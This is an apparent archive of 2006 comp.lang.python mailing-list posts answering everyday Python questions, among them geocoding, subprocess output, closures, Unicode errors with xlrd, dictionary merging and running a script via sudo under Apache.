py> from geopy import geocoders
py> us = geocoders.GeocoderDotUS()  
py> place, (lat, lng) = us.geocode("1600 Pennsylvania Ave, Washington DC")  
py> print "%s: %.5f, %.5f" % (place, lat, lng)  
1600 Pennsylvania Ave NW, Washington, DC 20502: 38.89875, -77.03768  

py> from geopy import distance
py> _, a = us.geocode('10900 Euclid Ave, Cleveland, OH 44106')
py> _, b = us.geocode('1600 Pennsylvania Ave, Washington, DC')
py> distance.distance(a, b).miles
301.35526872700962

py> from geopy import util
py> util.parse_geo(u"23? 26m 22s N 23? 27m 30s E")
(23.439444444444444, 23.458333333333332)

-- 
Brian Beck
Adventurer of the First Order


From scott.daniels at acm.org  Mon Oct  2 13:33:03 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Mon, 02 Oct 2006 10:33:03 -0700
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <mailman.1099.1159802638.10491.python-list@python.org>
References: <452125F8.8070106@googlemail.com>
	<mailman.1099.1159802638.10491.python-list@python.org>
Message-ID: <4521456d$1@nntp0.pdx.net>

Steve Holden wrote:
> Hari Sekhon wrote:
>> I'm running a command like
>>
>> import commands
>> result = commands.getstatusoutput('somecommand')
>> print result[0]
>> 3072
...
> No, it's just returning the error code in the top half of a sixteen-bit 
> value. You will notice that 3072 == 2 * 256.
For the rest of us playing along at home, there is a typo there:
The preceding line should read:
 > value. You will notice that 3072 == 12 * 256.

--Scott David Daniels
scott.daniels at acm.org


From rschroev_nospam_ml at fastmail.fm  Tue Oct 10 05:28:15 2006
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Tue, 10 Oct 2006 09:28:15 GMT
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <mailman.171.1160464326.11739.python-list@python.org>
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org><eg98qb$6a3$1@lust.ihug.co.nz><mailman.93.1160373988.11739.python-list@python.org>	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
Message-ID: <PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>

Hendrik van Rooyen schreef:
> "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
> 
> 
>> In message <mailman.93.1160373988.11739.python-list at python.org>, Hendrik van
>> Rooyen wrote:
>>
>>> "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
>>>
>>> 8<--------------------------------------------------------
>>>
>>>> I wonder if we need another "middle" field for holding the "bin/binte"
>>>> part (could also hold, e.g. "Van" for those names that use this).
>>> NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a
>>> space in it - and its peculiar in that the first letter is not
>>> capitalised....
>>>
>>> And I am sure that the people called "von Kardorff" would not agree
>>> either...
>> So do the Dutch phone books have a lot of entries under V, then?
>>
>> It just seems less efficient to me, that's all.
> 
> Don't know about what happens in Holland - my ancestors came over here to South
> Africa a long time ago -
> a mixed up kid I am - Dutch and French from the time of the revocation of the
> edict of Nantes...
> And yes, here the phone books are sorted that way - the "van Rensburg"s precede
> the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two
> spaces in the string like "van der Merwe" who are preceded by "van der Bank"  -
> "van" basically means "from" - like the German "von" - but in Germany its an
> appellation applied to the nobility - and in my name it makes no sense as
> "Rooyen" is not a place - its a strange archaic derivative of the colour red -
> "rooij' in Dutch, spelt "rooi" in Afrikaans - and the "der" is an archaic form
> of "the" - (and modern "the" in German, if yer male) ...

It's the same here in Belgium. Except that our Van is with a capital V 
in most cases; if it's a lower v it either indicates nobility or a Dutch 
name.

I don't see it as a problem. I prefer having Van Straeten and Van 
Stralen next to each other than having them mixed up with names without 
Van like this:
Straeten, Van
Straetmans
Stralen, Van

For me the string as a whole is the name; the parts separated don't have 
much meaning.

-- 
If I have been able to see further, it was only because I stood
on the shoulders of giants.  -- Isaac Newton

Roel Schroeven


From horpner at yahoo.com  Wed Oct 25 20:03:23 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 00:03:23 GMT
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
Message-ID: <fXS%g.7781$5i7.4028@newsreading01.news.tds.net>

On 2006-10-25, Bruno Desthuilliers <bdesth.quelquechose at free.quelquepart.fr> wrote:
> Hakusa at gmail.com a ?crit :
>> Recently I've had some problems with PythonWin when I switched to
>> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
>> helper, and I'm looking for a cool replacement, or some advocation to
>> reinstall/setup PyWin. But the Python website's list is irrefutably
>> long. It would take a month or two to test all of those products. So
>> I'm looking for experienced advocates.
> >
>> What's your favorite IDE?
> emacs
>
>> What do you like about it?
> 1. It's so complicated and ugly that just using it is enough to makes 
> you look like a seasonned pro.
> 2. It gives me a reason to engage in holy wars with vim users.

It seems like the holy wars are pretty. We disciples of Vim and
Emacs are now content merely being holier than all he others.

Actually, I'm not sure there's been a good Emacs VS Vim holy war
in years. So... ya know what's I find to be shamefully hatefully
orthodox?  Believing in the 'meta' key, when it's clearly just
Alt. Those same people often hold to the heresy that 'to fill'
means 'to wrap'. They believe that modes exist for different
'languages', and moreover, that there's more than just the
trinity of INSERT, EDIT and COMMAND-LINE.

-- 
Neil Cerutti


From gagsl-py at yahoo.com.ar  Wed Oct 11 16:39:49 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 11 Oct 2006 17:39:49 -0300
Subject: nntplib tutorial
In-Reply-To: <IeaXg.12230$Go3.4402@dukeread05>
References: <IeaXg.12230$Go3.4402@dukeread05>
Message-ID: <7.0.1.0.0.20061011173355.041278b0@yahoo.com.ar>

At Wednesday 11/10/2006 14:46, hg wrote:

>Is there such a thing ?
>
>Trying to understand the various strings I get hereunder

A basic understanding of the protocol would help a lot. The RFC 977 
itself is not so hard to read, but you could find some tutorials using google.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From half.italian at gmail.com  Thu Oct 19 16:27:24 2006
From: half.italian at gmail.com (half.italian at gmail.com)
Date: 19 Oct 2006 13:27:24 -0700
Subject: pexpect with apache
In-Reply-To: <1161209978.061600.313110@e3g2000cwe.googlegroups.com>
References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
	<1161202610.865795.63830@f16g2000cwb.googlegroups.com>
	<1gxZg.3425$ya1.2766@news02.roc.ny>
	<1161209800.433795.303600@e3g2000cwe.googlegroups.com>
	<1161209978.061600.313110@e3g2000cwe.googlegroups.com>
Message-ID: <1161289644.428298.48800@m73g2000cwd.googlegroups.com>

Thank you both for your help.  I don't know why I didn't think of that
before.  I had the expect mindset, and was determined to get it working
that way.

I added an entry for sudo for the script and it works without a hitch.
I'm still curious to know what was going on to disallow the
authentication in pexpect.  I had added 'www' to user 'admin', and
could su to root from the command line, so I don't think that was it.
Maybe it was a timing error, ie pexpect fired off the password too soon
or too late, or something in the apache environment that just
disallowed becoming root for security reasons.

Problem solved.

~Sean

martdi wrote:
> Since it wont require pyexpect, and based on the operations you
> accomplish with your python script, maybe that a bash script instead of
> a python one might be the best tool for the job you're trying to
> accomplish.
>
>
> martdi wrote:
> > Sudo is probably the best solution here, since in the file sudo.conf
> > you could restrict the www user only to the python script that requires
> > it.
> >
> > Also, using either sudo or the setuid flag would remove the need of
> > pexpect since all the commands will be run as the designated user.
> >
> > for setuid flag:
> > chmod u+s pythonScript.py
> > chown root pythonScript.py
> >
> > for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers ,
> > depending on distro:
> > the syntax for a line in sudo.conf is:
> >     user hostlist = (userlist) commandlist
> >
> > so you might want to add:
> >     www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py
> >
> > note:
> >     Replace the /var/www/htdocs/pythonScript.py with the path to where
> > your script is
> >     the NOPASSWD: is a flag that tells sudo that no password is
> > required
> >
> > Lee Harr wrote:
> > > > Well, first i don't think it is a good idea to have the python script
> > > > tu su to root, but for it to work, i think (Totally unsure about that)
> > > > www has to be in group wheel to be able to su.
> > > 
> > > 
> > > Maybe sudo can help here.



From ptmcg at austin.rr._bogus_.com  Tue Oct 31 04:22:40 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 31 Oct 2006 09:22:40 GMT
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org>
	<iHD1h.25601$GR2.12249@tornado.texas.rr.com>
Message-ID: <ABE1h.25602$GR2.24371@tornado.texas.rr.com>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote in message 
news:iHD1h.25601$GR2.12249 at tornado.texas.rr.com...
> "nelson -" <nelson1977 at gmail.com> wrote in message 
> news:mailman.1526.1162280594.11739.python-list at python.org...
>> hi!
>>   i want to build up a simple 3d interactive geometry application in
>> python. Since i want to run it without 3D acceleration (a scene will
>> be quite simple) I was wondering if there was a library in python that
>> allow me to build 3D graphic without the need to use OpenGL.... I
>> google but i can't find nothing interesting... (the best would be a
>> pure python solution)
>>
>> Thanks,
>>  nelson
>
> Here's a page (http://www.vrplumber.com/py3d.py) with links to 73 possible 
> libraries.
>
> I've played with Slut (http://slut.sourceforge.net/) and it is quite easy 
> to work with.  Here's a Flash movie (recorded using Wink) of a sphere that 
> I programmed and rotated about: 
> http://www.geocities.com/ptmcg/python/sphere1.htm, and here is the program 
> that created it: http://www.geocities.com/ptmcg/python/vecSlut2.py.txt.
>
> The demos that come with Slut are quite impressive, too.  The Slut project 
> web page summarizes them here 
> (http://slut.sourceforge.net/examples/index.html), but the little videos 
> don't do them justice.
>
> -- Paul
>
>
Well, shoot, I killed my free bandwidth on GeoCities with that link to the 
Flash animation!

I've uploaded a smaller video, should support 20-25 views/hour, instead of 3 
like the old one.  Please bear with me.

Thanks,
-- Paul




From nick at craig-wood.com  Mon Oct 16 04:30:11 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Mon, 16 Oct 2006 03:30:11 -0500
Subject: wx.grid question (trying to use code from Grid_Example.py)
References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com>
Message-ID: <slrnej6f6k.kcl.nick@irishsea.home.craig-wood.com>

Eric_Dexter at msn.com <Eric_Dexter at msn.com> wrote:
>  I am having trouble trying to reuse the code that was provided in the
>  wxdemo package of wxpython.

I suggest you ask this question on the wxpython mailing list which has
lots of very well informed contributors (not me - I'm just learning!).

  http://www.wxpython.org/maillist.php

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From mail at microcorp.co.za  Thu Oct 26 02:33:06 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Thu, 26 Oct 2006 08:33:06 +0200
Subject: basic questions on cmp, < and sort
References: <ehp5hu$foo$1@news2.rz.uni-karlsruhe.de>
	<87lkn3kd8l.fsf@benfinney.id.au>
Message-ID: <028701c6f8c9$5931f900$03000080@hendrik>

 "Ben Finney" <bignose+hates-spam at benfinney.id.au> wrote:
To: <python-list at python.org>
Sent: Thursday, October 26, 2006 4:44 AM
Subject: Re: basic questions on cmp, < and sort


Sch?le Daniel <uval at rz.uni-karlsruhe.de> writes:
8<-------------------------------------------
> third question
>
> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)

    >>> sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
      File "<stdin>", line 1
        sort([[1,2,3],["ABC"],['Z','A'], X(), 4)
                                               ^
    SyntaxError: invalid syntax

needs a closing  ']' to make the list a list.....

- Hendrik



From pavlovevidence at gmail.com  Wed Oct 18 04:37:08 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 18 Oct 2006 01:37:08 -0700
Subject: creating many similar properties
In-Reply-To: <1161159201.685954.82040@h48g2000cwc.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161156619.762883.237630@e3g2000cwe.googlegroups.com>
	<1161159201.685954.82040@h48g2000cwc.googlegroups.com>
Message-ID: <1161160627.968517.151410@h48g2000cwc.googlegroups.com>

George Sakkis wrote:
> There's a subtle common bug here: all _get and _set closures will refer
> to the last property only. You have to remember to write "def
> _set(self,v,prop=prop)" and similarly for _get to do the right thing.

Sorry.  My mistake.


> By the way, I can't think of a case where the current behavior (i.e.
> binding the last value only) is the desired one. Is this just an
> implementation wart or am I missing something ?

def some_function(a):
    def printvars():
        print "DEBUG: %r,%r,%r" % (a,b,i)
    for i in some_range():
        b = something(i)
        printvars()

If you fix the value of the closure at function definition time,
printvars() above doesn't work.  One way or another, someone's going to
get surprised.  Better to let it be the experts.


Carl



From hanumizzle at gmail.com  Wed Oct 11 02:09:57 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 02:09:57 -0400
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <87irir75l9.fsf@benfinney.id.au>
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
	<87irir75l9.fsf@benfinney.id.au>
Message-ID: <463ff4860610102309k339712acy595b18067cba8f4c@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> "Theerasak Photha" <hanumizzle at gmail.com> writes:

> Far better is to take the objects passed, *use* them in the way that
> you need to use them, and catch exceptions that get raised at the
> point where there is enough context to handle them. This is the
> "Easier to Ask Forgiveness than Permission" (EAFP) principle, and it
> is considered to be far more Pythonic.

Again, someone asked me to write the code for him in a personal
response to a previous thread. I simply executed his wishes (albeit
poorly).

I knew about EAFP before Python; in Ruby we have 'duck typing' and
there's a whole chapter about its virtues in Pick Axe. Myself I am a
strong proponent of this method, also known in OO Perl lingo, which I
know well, as interface polymorphism (Conway).

The main reason I *didn't* grok isinstance was b/c I never really
thought to use it before... :)

-- Theerasak


From fredrik at pythonware.com  Mon Oct 30 12:52:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 18:52:40 +0100
Subject: create global variables?
In-Reply-To: <slrnekcd6f.3da.wojciech_mula@cat.tac>
References: <mailman.1495.1162227948.11739.python-list@python.org>
	<slrnekcd6f.3da.wojciech_mula@cat.tac>
Message-ID: <ei5e55$3hg$1@sea.gmane.org>

Wojciech Mu?a wrote:

>> is there a simple way of creating global variables within a function?
> 
> def foo(name):
> 	globals()[name] = "xxx"
> 	globals()[name + 'aa'] = "yyy"
> 	globals()[name + 'ab'] = "zzz"

that kind of coding is punishable by law in some jurisdictions.

</F>



From nitte.sudhir at gmail.com  Thu Oct  5 10:11:14 2006
From: nitte.sudhir at gmail.com (kath)
Date: 5 Oct 2006 07:11:14 -0700
Subject: How do I read Excel file in Python?
Message-ID: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>

How do I read an Excel file in Python?

I have found a package to read excel file, which can be used on any
platform.

http://www.lexicon.net/sjmachin/xlrd.htm
I installed and working on the examples, I found its printing of cell's
contents in a different manner.

>>> import xlrd
>>> book=xlrd.open_workbook("Calculation_file.xls")
>>> book=xlrd.open_workbook("testbook.xls")
>>> sh=book.sheet_by_index(0)
>>> for row in range(sh.nrows):
	print sh.row(rx)
[text:u'name', text:u'address', text:u'ph']
[text:u'sudhir', text:u'bangalore', number:1234.0]
[text:u'vinay', text:u'bangalore', number:3264.0]

I am bit confused with slicing. help me....


Thank you,
Regards,
Sudhir.



From fredrik at pythonware.com  Thu Oct 26 08:17:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 14:17:21 +0200
Subject: subprocess-how to suppress the stdout
References: <gKKdnUgiTN9ePt3YnZ2dnUVZ_o6dnZ2d@comcast.com>
Message-ID: <ehq90h$mqp$1@sea.gmane.org>

"alf" <ask at me.xs4all.nl> wrote:

> I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but
> wonder where the all stdout actually goes. Is it buffered (to eventually
> fill up)

it ends up in a pipe buffer, yes.

> Or there is a better solution ...

/dev/null is your friend:

    Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...)

</F> 





From peter.maas at somewhere.com  Wed Oct 11 15:56:20 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Wed, 11 Oct 2006 21:56:20 +0200
Subject: Python component model
In-Reply-To: <452caf79$0$24783$426a74cc@news.free.fr>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<452caf79$0$24783$426a74cc@news.free.fr>
Message-ID: <egji9m$phj$1@online.de>

Bruno Desthuilliers wrote:
> Peter Maas wrote:
[...]
>> a reference implementation for web programming as part of the standard
>> library, 
> 
> wsgiref is part of the 2.5 stdlib.

Yes, but it's not an implementation. Think of something like Tomcat for
the Java Servlet Specification.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From bj_666 at gmx.net  Mon Oct 30 14:32:25 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Mon, 30 Oct 2006 20:32:25 +0100
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.30.19.32.25.538858@gmx.net>

In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin
wrote:

> I'm really worried that python may is doing some things I wasn't
> expecting... but lets see...

Expect that Python never copies something if don't ask explicitly for a
copy.

> if I pass a list to a function def fn(myList):
> 
> and in that function I modify an element in the list, then does the
> callers list get modied as well.
> 
> def fn(list):
>    list[1] = 0
> 
> myList = [1, 2, 3]
> print myList
> fn(myList)
> print myList
> 
>>>> [1,2,3]
>>>> [1,0,3]
> 
> How can I avoid this?  In this case this is a really simplified example
> but the effects are the same...

In this case:

def fn(lst):
    lst = list(lst)
    lst[1] = 0


> How do I specify or create deep copies of objects that may contain
> other objects that may contain other object that may contain other
> objects....

See the `copy` module especially `copy.deepcopy()`.

Ciao,
	Marc 'BlackJack' Rintsch



From hanumizzle at gmail.com  Wed Oct 11 05:17:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 05:17:47 -0400
Subject: dynamic creation of global Identifier
In-Reply-To: <egicc8$kat$1@online.de>
References: <egicc8$kat$1@online.de>
Message-ID: <463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com>

On 10/11/06, Alexander Eisenhuth <newsuser at stacom-software.de> wrote:

> but why doesent exec "global ... create a identifier in the global namespace.

I haven't had much use for exec, but it operates in its own, more or
less cloistered namespace. It can't set globals among other things.

You can frob the globals like so

import __builtin__
__builtin__.__dict__['foo'] = 42

But by the time you get there, it is almost certainly time to refactor.

-- Theerasak


From fredrik at pythonware.com  Mon Oct 23 17:02:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 23:02:32 +0200
Subject: python class instantiation
In-Reply-To: <453D2C61.7000800@useReplyTo.hotmail.com>
References: <453D2C61.7000800@useReplyTo.hotmail.com>
Message-ID: <ehjal8$veu$1@sea.gmane.org>

?ric Daigneault lists wrote:

> When creating a class with data members but no __init__ method.  Python 
> deals differently with data members that are muatable and immutables.

no, it doesn't.  it's your code that deals with them in different ways, 
not Python.

> Ex:
> class A(object):
>     stringData = "Whatever"
>     listData = []
> 
> instance = A()
> 
> Will have data members instantiated as expected (instance.stringData == 
> "Whatever" and instance.listData == [])
> 
> instance.listData.append("SomeString")

here, you call a method on the class object.  this method modifies the 
object.

> instance.stringData = "Changed"

here, you use assignment to *add* a new attribute to the instance.

the class attribute is still there, but it's shadowed by an instance 
attribute with the same name.

</F>



From sybrenUSE at YOURthirdtower.com.imagination  Sun Oct  8 15:57:33 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sun, 8 Oct 2006 21:57:33 +0200
Subject: WSGI - How Does It Affect Me?
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>

Gregory Pi?ero enlightened us with:
> So I keep hearing more and more about this WSGI stuff, and honestly I
> still don't understand what it is exactly

AFAIK it's a standard for web frameworks. In such a framework, you
receive a 'request' object, and return a 'response' object. If I'm
correct, the WSGI describes things like the method and property names
on those objects etc.

> What I'm most confused about is how it affects me.  I've been writing
> small CGI programs in Python for a while now whenever I have a need
> for a web program.  Is CGI now considered "Bad"?

I've never considered CGI bad, but I do consider it to be a hassle to
make anything non-trivial. If you want a website with template engine,
web-based database admin, and automatic form generation and
validation, it's easier to use an existing web framework.

> What is the equivalent of a quick CGI script in WSGI, or do I have
> to use a framework even for that?

I'd simply use CGI for that.

> What do I do if frameworks don't meet my needs and I don't have a
> desire to program my own?

That depends on the needs I guess.

> Examples of how frameworks don't meet my needs sometimes:
> 1. Working with SQL Server (Most frameworks seem to at least make it
> extra work)

I've never seen a framework that's unable to work with an SQL server.

> 2. Need web app to get data from other programs via API (eg
> QuickBooks) Can any web framework work happily with win32
> extensions?

You can use any module you want in a Django view, including win32.

> 3. Using IIS at all for that matter, does WSGI work on IIS, do any
> frameworks?

Why would you want to use that monstrosity?

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From odalrick at hotmail.com  Thu Oct 19 11:10:23 2006
From: odalrick at hotmail.com (Odalrick)
Date: 19 Oct 2006 08:10:23 -0700
Subject: wxPython and PIL
Message-ID: <1161270623.627758.71040@e3g2000cwe.googlegroups.com>

I'm making a simple program to crop and scale images, essentially make
thumbnails from a user defined subset of the image.

I'm planning to use Python Image Library to crop and resize the images,
mostly to make the resized smaller images look good.

How do I display a PIL image with wxPython?



From bdesth.quelquechose at free.quelquepart.fr  Wed Oct 25 17:58:16 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 23:58:16 +0200
Subject: cleaner way to write this?
In-Reply-To: <%dO%g.151$1n3.4135@news.tufts.edu>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
Message-ID: <453fd983$0$12298$426a74cc@news.free.fr>

John Salerno a ?crit :
> Paul Rubin wrote:
> 
>> John Salerno <johnjsal at NOSPAMgmail.com> writes:
>>
>>> I just need some advice for how to structure
>>> the check of the empty string.
>>
>>
>> How about
>>
>>     return db_name or None
>>
>> since the empty string taken as a boolean is False.
> 
> 
> But if the user doesn't enter any text, I don't want the method to 
> return at all (even None). 

John, please re-read the FineManual(tm). None is the default return 
value of a function - even if there's no return statement.

 >>> def noop():
...     pass
...
 >>> assert noop() is None
 >>>



From steve at REMOVE.THIS.cybersource.com.au  Wed Oct 18 12:07:08 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Thu, 19 Oct 2006 02:07:08 +1000
Subject: Dictionaries
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
Message-ID: <pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>

On Wed, 18 Oct 2006 08:24:27 -0700, Lad wrote:

> How can I add two dictionaries into one?
> E.g.
> a={'a:1}
> b={'b':2}
> 
> I need
> 
> the result {'a':1,'b':2}.
> 
> Is it possible?

What should the result be if both dictionaries have the same key?

a={'a':1, 'b'=2}
b={'b':3}

should the result be:
{'a':1, 'b'=2}  # keep the existing value
{'a':1, 'b'=3}  # replace the existing value
{'a':1, 'b'=[2, 3]}  # keep both values
or something else?

Other people have already suggested using the update() method. If you want
more control, you can do something like this:

def add_dict(A, B):
    """Add dictionaries A and B and return a new dictionary."""
    C = A.copy()  # start with a copy of A
    for key, value in B.items():
        if C.has_key(key):
            raise ValueError("duplicate key '%s' detected!" % key)
        C[key] = value
    return C


-- 
Steven.



From nitte.sudhir at gmail.com  Wed Oct 11 12:18:41 2006
From: nitte.sudhir at gmail.com (kath)
Date: 11 Oct 2006 09:18:41 -0700
Subject: what is this UnicodeDecodeError:....?
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
	<1160514673.393711.72590@m7g2000cwm.googlegroups.com>
Message-ID: <1160583521.005724.227370@b28g2000cwb.googlegroups.com>

John Machin wrote:
> kath wrote:
> > I have a number of excel files. In each file DATE is represented by
> > different name. I want to read the date from those different file. Also
> > the date is in different column in different file.
> >
> > To identify the date field in different files I have created a file
> > called _globals where I keep all aliases for DATE in a array called
> > 'alias_DATE'.
>
> It's actually a list. In Python an array is something else; look at the
> docs for the array module if you're interested.
>
> >
> > Array alias_DATE looks like,
> >
> > alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum',
> > 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate',
> > 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate',
> > 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum',
> > """Kurs-\ndatum""", "Kurs-\ndatum"]
>
> Nothing to do with the question you asked, but the last two entries
> have the same value; is that intentional?
> | >>> """Kurs-\ndatum""" == "Kurs-\ndatum"
> | True
>
>
> >
> > Now I want the index of the column where date is there.  I followed the
> > with followin code.
> >
> >
> > >>> b=xlrd.open_workbook('Santander_051206.xls')
> > >>> sh=b.sheet_by_index(0)
> > >>> sh.cell_value(rowx=0, colx=11)
> > u'Fecha de Valoraci\xf3n'
> > >>> val=sh.cell_value(rowx=0, colx=11)
> > >>> val
> > u'Fecha de Valoraci\xf3n'
> > >>> print val
> > Fecha de Valoraci?n
> > >>> import _globals		# the file where I have stored my 'alias_DATE' array
> > >>> _globals.alias_DATE.index(val)
> > Traceback (most recent call last):
> >   File "<interactive input>", line 1, in ?
> > UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position
> > 17: ordinal not in range(128)
> > >>>
> >
> > Though I have matching value in the array, why I am getting this error.
> > Can any one please tell me why is this error, and how to get rid of
> > this error. Because I have some files which containing some more
> > special characters.
> >
>
> Hello again, Sudhir.
>
> The text string returned by xlrd is a unicode object (u'Fecha de
> Valoraci\xf3n'). The text strings in your list are str objects, encoded
> in some unspecified encoding. Python is trying to convert the str
> object 'Fecha de Valoraci?n' to Unicode, using the (default) ascii
> codec to do the conversion, and failing.
>
> One way to handle this is to specify any non-ASCII strings in your
> lookup list as unicode, like this:
>
> contents of sudhir.py:
> | # -*- coding: cp1252 -*-
> | alist = ['Datestamp', u'Fecha de Valoraci\xf3n', 'Kurs-','datum']
> | blist = ['Datestamp', u'Fecha de Valoraci?n', 'Kurs-','datum']
> | assert alist == blist
> | val = u'Fecha de Valoraci\xf3n'
> | print 'a', alist.index(val)
> | print 'b', blist.index(val)
>
> | OS prompt>sudhir.py
> | a 1
> | b 1
>
> Note: the encoding "cp1252" is appropriate to my environment, not
> necessarily to yours.
>
> You may like to have a look through this:
>  http://www.amk.ca/python/howto/unicode
>
> HTH,
> John


Hi.... thanks for your brave reply. The link you gave was the good one.
It had comprehensive information.I enjoyed reading it. Well it cleared
my doubts regarding encoding data, what is Unicode data, how to deal
with unicode data.

Thank you very much..

Regards,
sudhir.



From fredrik at pythonware.com  Mon Oct 16 16:15:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 22:15:54 +0200
Subject: OT: What's up with the starship?
In-Reply-To: <4533D84B.4060405@hathawaymix.org>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>	<mailman.580.1161021410.11739.python-list@python.org>	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>	<eh0j0d$lme$1@sea.gmane.org>
	<4533D84B.4060405@hathawaymix.org>
Message-ID: <eh0p9q$su6$1@sea.gmane.org>

Shane Hathaway wrote:

 > I don't know if this concern applies to Starship specifically, but it
 > seems to apply to thousands of web sites running Python CGIs and
 > Python web servers.

so are we seeing thousands of web sites running Python CGIs and web 
servers being attacked right now?

</F>



From scott.daniels at acm.org  Sun Oct  1 18:06:28 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 15:06:28 -0700
Subject: a different question: can you earn a living with *just* python?
In-Reply-To: <1159393691.516824.66050@k70g2000cwa.googlegroups.com>
References: <zkfSg.30$1n3.400@news.tufts.edu>
	<1159305924.604677.118300@i42g2000cwa.googlegroups.com>
	<roy-055E4F.20055226092006@reader2.panix.com>
	<1159337418.630332.80100@k70g2000cwa.googlegroups.com>
	<7xven92i2z.fsf@ruckus.brouhaha.com>
	<1159393691.516824.66050@k70g2000cwa.googlegroups.com>
Message-ID: <45203408$1@nntp0.pdx.net>

sjdevnull at yahoo.com wrote:
> Paul Rubin wrote:
>> .... Very interesting post and list.  I think I'd add at least one assembly
>> language.
> 
> Yes, definitely.

I'd propose DEK's MMIX assembly language if you go for only one (or two)
-- learn modern machine architectural directions at the same time as you
learn an assembly language.  You can still execute it (plenty of
simulators are available for free), and you can get an idea of kinds of
efficiency without having to learn five or six architectures.

--Scott David Daniels
